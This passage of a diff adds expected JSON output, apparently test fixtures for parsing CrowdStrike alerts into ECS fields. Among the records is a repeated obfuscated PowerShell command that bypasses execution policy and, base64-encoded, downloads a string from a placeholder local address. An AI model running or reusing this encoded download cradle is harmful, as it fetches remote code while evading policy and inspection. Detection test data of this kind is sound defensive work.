+                    "tree_id": "12345678901",
+                    "type": "lead",
+                    "updated_timestamp": "2024-11-07T20:49:59.123Z",
+                    "user_name": "SOMEUSER"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "process"
+                ],
+                "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
+                "kind": "alert",
+                "original": "{\"name\":\"OTHERUSER on OTHERHOST\",\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"user_name\":\"SOMEUSER\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\"}"
+            },
+            "file": {
+                "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
+            },
+            "host": {
+                "id": "abcd1234abcd1234abcd12",
+                "name": "OTHERHOST",
+                "os": {
+                    "name": "Windows",
+                    "type": "windows"
+                },
+                "type": "Server"
+            },
+            "process": {
+                "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
+                "entity_id": "123456789123",
+                "pid": 123456789123
+            },
+            "related": {
+                "hosts": [
+                    "OTHERHOST"
+                ],
+                "user": [
+                    "SOMEUSER",
+                    "OTHERUSER"
+                ]
+            },
+            "tags": [
+                "preserve_original_event",
+                "preserve_duplicate_custom_fields",
+                "ow/investigated",
+                "ow/resolution/benign"
+            ],
+            "user": {
+                "name": "SOMEUSER"
+            }
+        },
+        {
+            "@timestamp": "2024-11-07T20:47:22.000Z",
+            "crowdstrike": {
+                "alert": {
+                    "agent_id": "abcd1234abcd1234abcd12",
+                    "cid": "asdfasdfsadfasdfasdf",
+                    "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
+                    "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
+                    "crawled_timestamp": "2024-11-07T20:49:59.123Z",
+                    "created_timestamp": "2024-11-07T20:49:59.123Z",
+                    "detect_type": "endpoint",
+                    "host_type": "Server",
+                    "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
+                    "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",
+                    "name": "OTHERUSER on OTHERHOST",
+                    "operating_system": "Windows",
+                    "pattern_id": "97000",
+                    "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==",
+                    "prevented": true,
+                    "process_id": "123456789123",
+                    "product": "overwatch",
+                    "seconds_to_resolved": 0,
+                    "seconds_to_triaged": 0,
+                    "show_in_ui": true,
+                    "status": "new",
+                    "tags": [
+                        "ow/investigated",
+                        "ow/resolution/benign"
+                    ],
+                    "timestamp": "2024-11-07T20:47:22.000Z",
+                    "tree_id": "12345678901",
+                    "type": "lead",
+                    "updated_timestamp": "2024-11-07T20:49:59.123Z",
+                    "user_name": "SOMEUSER",
+                    "worker_node_name": "example"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "process"
+                ],
+                "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
+                "kind": "alert",
+                "original": "{\"name\":\"OTHERUSER on OTHERHOST\",\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"user_name\":\"SOMEUSER\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\", \"prevented\":true,\"worker_node_name\":\"example\"}"
+            },
+            "file": {
+                "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
+            },
+            "host": {
+                "id": "abcd1234abcd1234abcd12",
+                "name": "OTHERHOST",
+                "os": {
+                    "name": "Windows",
+                    "type": "windows"
+                },
+                "type": "Server"
+            },
+            "process": {
+                "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
+                "entity_id": "123456789123",
+                "pid": 123456789123
+            },
+            "related": {
+                "hosts": [
+                    "OTHERHOST"
+                ],
+                "user": [
+                    "SOMEUSER",
+                    "OTHERUSER"
+                ]
+            },
+            "tags": [
+                "preserve_original_event",
+                "preserve_duplicate_custom_fields",
+                "ow/investigated",
+                "ow/resolution/benign"
+            ],
+            "user": {
+                "name": "SOMEUSER"
+            }
+        },
+        {
+            "@timestamp": "2025-06-06T10:20:41.789Z",
+            "crowdstrike": {
+                "alert": {
+                    "agent_id": "7940b10993e844e398f83bd92aa92b8f",
+                    "aggregate_id": "aggind:7940b10993e844e398f83bd92aa92b8f:17181460644",
+                    "alleged_filetype": "exe",
+                    "cid": "bdc3e3474d8848f1b8dcf41d41669a14",
+                    "cloud_indicator": false,
+                    "cmdline": "cmd crowdstrike_test_informational",
+                    "composite_id": "bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000",
+                    "confidence": 100,
+                    "context_timestamp": "2025-06-06T10:20:41.124Z",
+                    "control_graph_id": "ctg:7940b10993e844e398f83bd92aa92b8f:17181460644",
+                    "crawled_timestamp": "2025-06-06T10:21:45.624Z",
+                    "created_timestamp": "2025-06-06T10:21:45.624Z",
+                    "data_domains": [
+                        "Endpoint"
+                    ],
+                    "description": "An informational level detection was triggered on this process for testing purposes.",
+                    "device": {
+                        "agent_load_flags": 1,
+                        "agent_local_time": "2025-06-06T06:28:45.178Z",
+                        "agent_version": "7.24.19607.0",
+                        "bios_manufacturer": "Microsoft Corporation",
+                        "bios_version": "Hyper-V UEFI Release v4.1",
+                        "cid": "bdc3e3474d8848f1b8dcf41d41669a14",
+                        "config_id_base": "65994767",
+                        "config_id_build": "19607",
+                        "config_id_platform": 3,
+                        "external_ip": "81.2.69.144",
+                        "first_seen": "2025-05-29T11:54:43.000Z",
+                        "groups": [
+                            "f3ba4e75244b4d06837c910a00bf80be"
+                        ],
+                        "hostname": "raquel-win10-3",
+                        "id": "7940b10993e844e398f83bd92aa92b8f",
+                        "last_seen": "2025-06-06T09:44:59.000Z",
+                        "local_ip": "10.0.0.13",
+                        "mac_address": "60-45-BD-D2-D4-37",
+                        "major_version": "10",
+                        "minor_version": "0",
+                        "modified_timestamp": "2025-06-06T10:18:32.000Z",
+                        "os_version": "Windows 10",
+                        "platform_id": "0",
+                        "platform_name": "Windows",
+                        "product_type": "1",
+                        "product_type_desc": "Workstation",
+                        "status": "normal",
+                        "system_manufacturer": "Microsoft Corporation",
+                        "system_product_name": "Virtual Machine"
+                    },
+                    "display_name": "TestTriggerInformational",
+                    "email_sent": true,
+                    "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge",
+                    "filename": "cmd.exe",
+                    "filepath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                    "global_prevalence": "common",
+                    "grandparent_details": {
+                        "cmdline": "cmd crowdstrike_test_medium",
+                        "filename": "cmd.exe",
+                        "filepath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                        "local_process_id": "2796",
+                        "md5": "2b40c98ed0f7a1d3b091a3e8353132dc",
+                        "process_graph_id": "pid:7940b10993e844e398f83bd92aa92b8f:17938741315",
+                        "process_id": "17938741315",
+                        "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0",
+                        "timestamp": "2025-06-06T10:20:21.000Z",
+                        "user_graph_id": "uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500",
+                        "user_id": "S-1-5-21-2765107603-2663188678-2286454264-500",
+                        "user_name": "win10_user3"
+                    },
+                    "has_script_or_module_ioc": false,
+                    "id": "ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000",
+                    "indicator_id": "ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000",
+                    "is_synthetic_quarantine_disposition": false,
+                    "local_prevalence": "unique",
+                    "local_process_id": "6028",
+                    "logon_domain": "raquel-win10-3",
+                    "md5": "2b40c98ed0f7a1d3b091a3e8353132dc",
+                    "name": "DemoInformationalPattern",
+                    "objective": "Falcon Detection Method",
+                    "parent_details": {
+                        "cmdline": "cmd crowdstrike_test_low",
+                        "filename": "cmd.exe",
+                        "filepath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                        "local_process_id": "4840",
+                        "md5": "2b40c98ed0f7a1d3b091a3e8353132dc",
+                        "process_graph_id": "pid:7940b10993e844e398f83bd92aa92b8f:17940808135",
+                        "process_id": "17940808135",
+                        "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0",
+                        "timestamp": "2025-06-06T10:20:32.000Z",
+                        "user_graph_id": "uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500",
+                        "user_id": "S-1-5-21-2765107603-2663188678-2286454264-500",
+                        "user_name": "win10_user3"
+                    },
+                    "parent_process_id": "17940808135",
+                    "pattern_disposition": 0,
+                    "pattern_disposition_description": "Detection, standard detection.",
+                    "pattern_disposition_details": {
+                        "blocking_unsupported_or_disabled": false,
+                        "bootup_safeguard_enabled": false,
+                        "containment_file_system": false,
+                        "critical_process_disabled": false,
+                        "detect": false,
+                        "fs_operation_blocked": false,
+                        "handle_operation_downgraded": false,
+                        "inddet_mask": false,
+                        "indicator": false,
+                        "kill_action_failed": false,
+                        "kill_parent": false,
+                        "kill_process": false,
+                        "kill_subprocess": false,
+                        "mfa_required": false,
+                        "operation_blocked": false,
+                        "policy_disabled": false,
+                        "prevention_provisioning_enabled": false,
+                        "process_blocked": false,
+                        "quarantine_file": false,
+                        "quarantine_machine": false,
+                        "registry_operation_blocked": false,
+                        "response_action_already_applied": false,
+                        "response_action_failed": false,
+                        "response_action_triggered": false,
+                        "rooting": false,
+                        "sensor_only": false,
+                        "suspend_parent": false,
+                        "suspend_process": false
+                    },
+                    "pattern_id": "10307",
+                    "platform": "Windows",
+                    "poly_id": "AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==",
+                    "process_id": "17942810918",
+                    "process_start_time": "2025-06-06T10:20:41.000Z",
+                    "product": "epp",
+                    "scenario": "suspicious_activity",
+                    "seconds_to_resolved": 0,
+                    "seconds_to_triaged": 0,
+                    "severity": 10,
+                    "severity_name": "Informational",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0",
+                    "show_in_ui": true,
+                    "source_products": [
+                        "Falcon Insight"
+                    ],
+                    "source_vendors": [
+                        "CrowdStrike"
+                    ],
+                    "status": "new",
+                    "tactic": "Falcon Overwatch",
+                    "tactic_id": "CSTA0006",
+                    "technique": "Malicious Activity",
+                    "technique_id": "CST0002",
+                    "template_instance_id": "1339",
+                    "timestamp": "2025-06-06T10:20:41.789Z",
+                    "tree_id": "17181460644",
+                    "tree_root": "17934037600",
+                    "triggering_process_graph_id": "pid:7940b10993e844e398f83bd92aa92b8f:17942810918",
+                    "type": "ldt",
+                    "updated_timestamp": "2025-06-06T10:21:50.710Z",
+                    "user_id": "S-1-5-21-2765107603-2663188678-2286454264-500",
+                    "user_name": "win10_user3"
+                }
+            },
+            "device": {
+                "id": "7940b10993e844e398f83bd92aa92b8f",
+                "manufacturer": "Microsoft Corporation",
+                "model": {
+                    "name": "Virtual Machine"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "process"
+                ],
+                "id": "ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000",
+                "kind": "alert",
+                "original": "{\"agent_id\":\"7940b10993e844e398f83bd92aa92b8f\",\"aggregate_id\":\"aggind:7940b10993e844e398f83bd92aa92b8f:17181460644\",\"alleged_filetype\":\"exe\",\"cid\":\"bdc3e3474d8848f1b8dcf41d41669a14\",\"cloud_indicator\":\"false\",\"cmdline\":\"cmd crowdstrike_test_informational\",\"composite_id\":\"bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000\",\"confidence\":100,\"context_timestamp\":\"2025-06-06T10:20:41.124Z\",\"control_graph_id\":\"ctg:7940b10993e844e398f83bd92aa92b8f:17181460644\",\"crawled_timestamp\":\"2025-06-06T10:21:45.624194206Z\",\"created_timestamp\":\"2025-06-06T10:21:45.624178312Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"An informational level detection was triggered on this process for testing purposes.\",\"device\":{\"agent_load_flags\":\"1\",\"agent_local_time\":\"2025-06-06T06:28:45.178Z\",\"agent_version\":\"7.24.19607.0\",\"bios_manufacturer\":\"Microsoft Corporation\",\"bios_version\":\"Hyper-V UEFI Release v4.1\",\"cid\":\"bdc3e3474d8848f1b8dcf41d41669a14\",\"config_id_base\":\"65994767\",\"config_id_build\":\"19607\",\"config_id_platform\":\"3\",\"device_id\":\"7940b10993e844e398f83bd92aa92b8f\",\"external_ip\":\"81.2.69.144\",\"first_seen\":\"2025-05-29T11:54:43Z\",\"groups\":[\"f3ba4e75244b4d06837c910a00bf80be\"],\"hostinfo\":{\"domain\":\"\"},\"hostname\":\"raquel-win10-3\",\"instance_id\":\"f60ebe5d-4967-48d8-9ce0-d1135b04e8d6\",\"last_seen\":\"2025-06-06T09:44:59Z\",\"local_ip\":\"10.0.0.13\",\"mac_address\":\"60-45-bd-d2-d4-37\",\"machine_domain\":\"\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2025-06-06T10:18:32Z\",\"os_version\":\"Windows 10\",\"ou\":null,\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"service_provider\":\"AZURE\",\"service_provider_account_id\":\"7599433a-346d-4c25-b9d0-2948136c41f5\",\"status\":\"normal\",\"system_manufacturer\":\"Microsoft Corporation\",\"system_product_name\":\"Virtual Machine\"},\"display_name\":\"TestTriggerInformational\",\"email_sent\":true,\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge\",\"filename\":\"cmd.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"global_prevalence\":\"common\",\"grandparent_details\":{\"cmdline\":\"cmd crowdstrike_test_medium\",\"filename\":\"cmd.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"local_process_id\":\"2796\",\"md5\":\"2b40c98ed0f7a1d3b091a3e8353132dc\",\"process_graph_id\":\"pid:7940b10993e844e398f83bd92aa92b8f:17938741315\",\"process_id\":\"17938741315\",\"sha256\":\"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0\",\"timestamp\":\"2025-06-06T10:20:21Z\",\"user_graph_id\":\"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_id\":\"S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_name\":\"win10_user3\"},\"id\":\"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000\",\"indicator_id\":\"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000\",\"ioc_context\":[],\"local_prevalence\":\"unique\",\"local_process_id\":\"6028\",\"logon_domain\":\"raquel-win10-3\",\"md5\":\"2b40c98ed0f7a1d3b091a3e8353132dc\",\"name\":\"DemoInformationalPattern\",\"objective\":\"Falcon Detection Method\",\"parent_details\":{\"cmdline\":\"cmd crowdstrike_test_low\",\"filename\":\"cmd.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"local_process_id\":\"4840\",\"md5\":\"2b40c98ed0f7a1d3b091a3e8353132dc\",\"process_graph_id\":\"pid:7940b10993e844e398f83bd92aa92b8f:17940808135\",\"process_id\":\"17940808135\",\"sha256\":\"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0\",\"timestamp\":\"2025-06-06T10:20:32Z\",\"user_graph_id\":\"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_id\":\"S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_name\":\"win10_user3\"},\"parent_process_id\":\"17940808135\",\"pattern_disposition\":0,\"pattern_disposition_description\":\"Detection, standard detection.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"containment_file_system\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"mfa_required\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"prevention_provisioning_enabled\":false,\"process_blocked\":false,\"quarantine_file\":false,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"response_action_already_applied\":false,\"response_action_failed\":false,\"response_action_triggered\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":10307,\"platform\":\"Windows\",\"poly_id\":\"AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==\",\"priority_explanation\":[\"[MOD] The severity of the detection: Informational\"],\"priority_value\":10,\"process_id\":\"17942810918\",\"process_start_time\":\"1749205241\",\"product\":\"epp\",\"scenario\":\"suspicious_activity\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"severity\":10,\"severity_name\":\"Informational\",\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0\",\"show_in_ui\":true,\"source_products\":[\"Falcon Insight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"Falcon Overwatch\",\"tactic_id\":\"CSTA0006\",\"technique\":\"Malicious Activity\",\"technique_id\":\"CST0002\",\"template_instance_id\":\"1339\",\"timestamp\":\"2025-06-06T10:20:41.789Z\",\"tree_id\":\"17181460644\",\"tree_root\":\"17934037600\",\"triggering_process_graph_id\":\"pid:7940b10993e844e398f83bd92aa92b8f:17942810918\",\"type\":\"ldt\",\"updated_timestamp\":\"2025-06-06T10:21:50.710758858Z\",\"user_id\":\"S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_name\":\"win10_user3\"}",
+                "severity": 21,
+                "type": [
+                    "start"
+                ]
+            },
+            "file": {
+                "name": "cmd.exe",
+                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe"
+            },
+            "host": {
+                "hostname": "raquel-win10-3",
+                "id": "7940b10993e844e398f83bd92aa92b8f",
+                "ip": [
+                    "81.2.69.144",
+                    "10.0.0.13"
+                ],
+                "mac": [
+                    "60-45-BD-D2-D4-37"
+                ],
+                "os": {
+                    "full": "Windows 10",
+                    "platform": "Windows",
+                    "type": "windows"
+                }
+            },
+            "message": "An informational level detection was triggered on this process for testing purposes.",
+            "process": {
+                "entity_id": "17942810918",
+                "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                "hash": {
+                    "md5": "2b40c98ed0f7a1d3b091a3e8353132dc",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0"
+                },
+                "name": "cmd.exe",
+                "parent": {
+                    "command_line": "cmd crowdstrike_test_low",
+                    "entity_id": "17940808135",
+                    "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                    "hash": {
+                        "md5": "2b40c98ed0f7a1d3b091a3e8353132dc",
+                        "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0"
+                    },
+                    "name": "cmd.exe",
+                    "pid": 17940808135
+                },
+                "pid": 17942810918,
+                "start": "2025-06-06T10:20:41.000Z",
+                "user": {
+                    "id": "S-1-5-21-2765107603-2663188678-2286454264-500",
+                    "name": "win10_user3"
+                }
+            },
+            "related": {
+                "hash": [
+                    "2b40c98ed0f7a1d3b091a3e8353132dc",
+                    "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0",
+                    "0000000000000000000000000000000000000000"
+                ],
+                "hosts": [
+                    "raquel-win10-3"
+                ],
+                "ip": [
+                    "81.2.69.144",
+                    "10.0.0.13"
+                ],
+                "user": [
+                    "uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500",
+                    "S-1-5-21-2765107603-2663188678-2286454264-500",
+                    "win10_user3"
+                ]
+            },
+            "tags": [
+                "preserve_original_event",
+                "preserve_duplicate_custom_fields"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "id": [
+                        "CSTA0006"
+                    ],
+                    "name": [
+                        "Falcon Overwatch"
+                    ]
+                },
+                "technique": {
+                    "id": [
+                        "CST0002"
+                    ],
+                    "name": [
+                        "Malicious Activity"
+                    ]
+                }
+            },
+            "user": {
+                "id": "S-1-5-21-2765107603-2663188678-2286454264-500",
+                "name": "win10_user3"
+            }
+        },
+        {
+            "@timestamp": "2026-01-27T20:34:37.000Z",
+            "crowdstrike": {
+                "alert": {
+                    "cid": "bdc3e3474d8848f1**************",
+                    "composite_id": "bdc3e3474d8848f1**************:fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94",
+                    "crawled_timestamp": "2026-01-27T20:34:47.330Z",
+                    "created_timestamp": "2026-01-27T20:34:47.330Z",
+                    "data_domains": [
+                        "Cloud"
+                    ],
+                    "display_name": "VPC flow logs disabled",
+                    "event_id": "09a917ca-d430-4cd2-ae55-ceaec7e7dc94",
+                    "falcon_host_link": "https://falcon.us-2.crowdstrike.com/unified-detections/<redacted>",
+                    "id": "fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94",
+                    "mitre_attack": [
+                        {
+                            "pattern_id": "2036",
+                            "tactic": "Defense Evasion",
+                            "tactic_id": "TA0005",
+                            "technique": "Impair Defenses:Disable Cloud Logs",
+                            "technique_id": "T1562.008"
+                        }
+                    ],
+                    "name": "VPC flow logs disabled",
+                    "pattern_id": "2036",
+                    "poly_id": "<redacted>",
+                    "product": "fcs",
+                    "seconds_to_resolved": 0,
+                    "seconds_to_triaged": 0,
+                    "severity": 40,
+                    "severity_name": "Medium",
+                    "show_in_ui": true,
+                    "source": {
+                        "account_name": "elastic-siem"
+                    },
+                    "source_products": [
+                        "Falcon Cloud Security"
+                    ],
+                    "source_vendors": [
+                        "CrowdStrike"
+                    ],
+                    "status": "new",
+                    "tactic": "Defense Evasion",
+                    "tactic_id": "TA0005",
+                    "technique": "Impair Defenses:Disable Cloud Logs",
+                    "technique_id": "T1562.008",
+                    "timestamp": "2026-01-27T20:34:37.000Z",
+                    "type": "cloud-ioa",
+                    "updated_timestamp": "2026-01-27T20:34:47.330Z",
+                    "user_name": "user@example.com"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "id": "fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94",
+                "kind": "alert",
+                "original": "{\"attack_types\":[\"Defense Evasion\"],\"aws_access_key_id\":\"ASIA****************\",\"aws_recipient_account_id\":\"XXXXXXXXXXXX\",\"aws_user_account_id\":\"XXXXXXXXXXXX\",\"cid\":\"bdc3e3474d8848f1**************\",\"cloud_account_id\":\"XXXXXXXXXXXX\",\"cloud_provider\":\"aws\",\"cloud_region\":\"us-east-2\",\"composite_id\":\"bdc3e3474d8848f1**************:fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94\",\"crawled_timestamp\":\"2026-01-27T20:34:47.330975395Z\",\"created_timestamp\":\"2026-01-27T20:34:47.330964263Z\",\"data_domains\":[\"Cloud\"],\"device\":{\"service_provider\":\"aws\",\"service_provider_account_id\":\"XXXXXXXXXXXX\"},\"display_name\":\"VPC flow logs 